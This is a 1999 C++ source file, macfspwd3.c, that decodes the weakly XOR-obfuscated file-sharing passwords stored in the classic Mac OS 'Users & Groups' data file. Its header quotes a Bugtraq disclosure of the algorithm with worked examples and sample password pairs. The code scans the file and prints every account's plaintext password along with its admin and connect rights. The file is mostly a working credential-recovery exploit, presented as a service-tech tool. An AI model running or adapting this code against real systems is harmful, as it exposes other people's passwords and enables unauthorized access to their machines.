/*
 macfspwd3.c
 Written by Nate Pierce
 luphus@iastate.edu
 http://happiness.dhs.org
 July 16, 1999
 
 You are free to use/distribute/modify this code, but please
 give credit where it is due, and do let me know if you do
 something spiffy or find a bug. Please use this for the powers
 of good! I'm a service tech this summer on campus and sometimes
 I need to know these things. Thanks!
 
 NOTE: This is release 3 and I think it does all I'd ever need it to. Any
 subsequent releases will probably be bug fixes, maybe some command line
 options, and possibly a Mac port (if anyone is interested in doing a Mac
 port, that'd be great!). Please check the main software page at 
 http://happiness.dhs.org/software for the latest release!
 
 Main algorithm taken from:
 http://www.securityfocus.com/vdb/bottom.html?section=discussion&vid=519
 with an addition from Chris Nandor
 
 I have tested this on 8.6 and it works fine as well.
 
 Compiled quite peachily on linux 2.2.10 with:
 g++ -o macfspwd3 macfspwd3.c
 
 Run syntax:
   [user@server user]$ ./macfspwd2 [users & groups db filename]
 
 This may even work on ASIP files - I don't use ASIP these days but I ran accross a prefs
 file from one of the ASIP 5 betas and it seemed to work.
 
 Borrowed/contributed reference material:
 ----- from the url above -----
 The encryption algorithm in MacOS system is simple and the password can be easily
 decoded.

 Password is stored in Users & Groups Data File in Preferences folder. Offset is different on
 each system and depends on Users & Groups configuration, but it always lie after owner's
 username. It's not so difficult to find it using a hex editor, even if we don't know owner's
 username.

 Here are some examples of encrypted passwords:
 00 04 06 18 0D 0A 19 0B = stayaway
 0A 1F 10 1B 00 07 75 1E = yellow
 1C 1B 16 14 12 62 10 7B = owner
 07 02 13 1A 1E 0F 1A 14 = turnpage
 27 25 33 27 27 39 24 7E = Trustno1

 AA BB CC DD EE FF GG HH = aa bb cc dd ee ff gg hh

 where:
 AA BB CC DD EE FF GG HH - encrypted password (hex)
 aa bb cc dd ee ff gg hh - decrypted password in ASCII codes (hex)

 aa=AA XOR 73H
 bb=BB XOR AA XOR 70H
 cc=CC XOR BB XOR 63H
 dd=DD XOR CC XOR 67H
 ee=EE XOR DD XOR 74H
 ff=FF XOR EE XOR 70H
 gg=GG XOR FF XOR 72H
 hh=HH XOR GG XOR 6BH

 An example:
 Let's take OO 04 06 18 0D 0A 19 0B

 00H XOR 73H = 73H = s
 04H XOR 00H = 04H; 04H XOR 70H = 74H = t
 06H XOR 04H = 02H; O2H XOR 63H = 61H = a
 18H XOR 06H = 1EH; 1EH XOR 67H = 79H = y
 0DH XOR 18H = 15H; 15H XOR 74H = 61H = a
 0AH XOR 0DH = 07H; 07H XOR 70H = 77H = w
 19H XOR 0AH = 13H; 13H XOR 72H = 61H = a
 0BH XOR 19H = 12H; 12H XOR 6BH = 79H = y

 tested on:
 MacOS 7.5.3, 7.5.5, 8.1, 8.5. 
 
 copied verbatim from a post to bugtraq by Dawid adix Adamski <adixx@FRIKO4.ONET.PL> on
 July 10, 1999
 ----- snip -----
 
 ----- from Chris Nandor <pudge@pobox.com> (July 15, 1999) -----
 In Mac OS 8.6, the first character of each user's password is XOR'd with
 their user ID XOR 1.  Here is some Perl code that gets all of the users,
 their IDs, and their passwords.
 ----- snip -----
*/

#include<iostream.h>
#include<iomanip.h>
#include<fstream.h>
#include<string.h>

/* I think the max password length for file sharing is 8 characters */
#define PWLEN 8

/* file name to open */
#define DFILE argv[argc-1]

/* perform the XOR-ification and print all the goodies we run accross */
void display(char* accountname,char* s1,int* s2, int* s3,int accountid=0x1,int accounttype=0xFF,char link=0x0);

int main(int argc, char *argv[]){
  int s2[10],s3[10],i,first=1,j=0;
  char accountname[32],ch=0x0,s1[10],accountid,accounttype,spacer[3],link,len;
  ifstream infile;

/* user is clueless - display use */
  if(argc==1){
    cout<<"\nmacfspwd release 3 by Nate Pierce\n"
        <<"Please report bugs to luphus@iastate.edu\n"
        <<"Latest release at http://happiness.dhs.org/software\n"
        <<"Use: "<<DFILE<<" [users & groups db filename]\n\n";
    return 0;
  }
  
/* Chunk in the magic XOR string - this is constant. 
   There may be a better way to do this, but
   I don't much care... */
  s3[0]=0x73;
  s3[1]=0x70;
  s3[2]=0x63;
  s3[3]=0x67;
  s3[4]=0x74;
  s3[5]=0x70;
  s3[6]=0x72;
  s3[7]=0x6B;
  
  if(argc>1){
    infile.open(DFILE);
    if(!infile){
      cout<<"File \""<<DFILE<<"\" could not be found! Exiting.\n";
      return 1;
    }
    while(!infile.eof()){
      infile.get(ch);
      if(ch>=7 && ch<40){
        if(infile.peek()==0x0){
          infile.ignore();
          if(infile.peek()==0x0){
            infile.ignore();
            if(infile.peek()==0x0){
              infile.ignore();
              if(infile.peek()==0x0){
                infile.ignore();
                if(infile.peek()==0x0){
                  infile.ignore();
                  if(infile.peek()==ch-6){
                    infile.get(len);
                    for(i=0;i<len;i++)infile.get(accountname[i]);
                    accountname[len]=0x0;
                    if(2*(len/2)==len) infile.ignore();
                    for(i=0;i<PWLEN;i++) infile.get(s1[i]);
                    for(i=0;i<3;i++) infile.get(spacer[i]);
                    if(!(spacer[0]|spacer[1]|spacer[2])){
                      infile.get(accountid);
                      infile.get(accounttype);
                      infile.get(link);
                      if(accountid){
                        if(first){
                          first=0;
                          cout.setf(ios::left,ios::adjustfield);
                          cout<<"Username     Password  Admin?  Connect?  Change pwd?  Link?\n";
                        }
                        display(accountname,s1,s2,s3,accountid,accounttype,link);
                        j++;
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
    infile.close();
  }
  return j;
}  

void display(char* accountname,char* s1,int* s2, int* s3,int accountid,int accounttype,char link){
  int i;
  char pwd[PWLEN+1];

/* chunk in 2nd XOR string - based on s1 array */
  s2[0]=accountid^0x1;
  for(i=0;i<PWLEN-1;i++){
    s2[i+1]=s1[i];
  }
  
/* do the XOR */
  for(i=0;i<PWLEN;i++)pwd[i]=s1[i]^s2[i]^s3[i];
  pwd[PWLEN]=0x0;

/* print out all the useful crap */
  cout<<setw(13)<<accountname<<setw(12)<<pwd;
  if(accounttype&0x2)cout<<setw(9)<<"Y";
  else cout<<setw(9)<<"N";
  if(accounttype&0x1)cout<<setw(11)<<"Y";
  else cout<<setw(11)<<"N";
  if(accounttype&0x4)cout<<setw(11)<<"N";
  else cout<<setw(11)<<"Y";
  if(link&0x1)cout<<"Y\n";
  else cout<<"N\n";
}
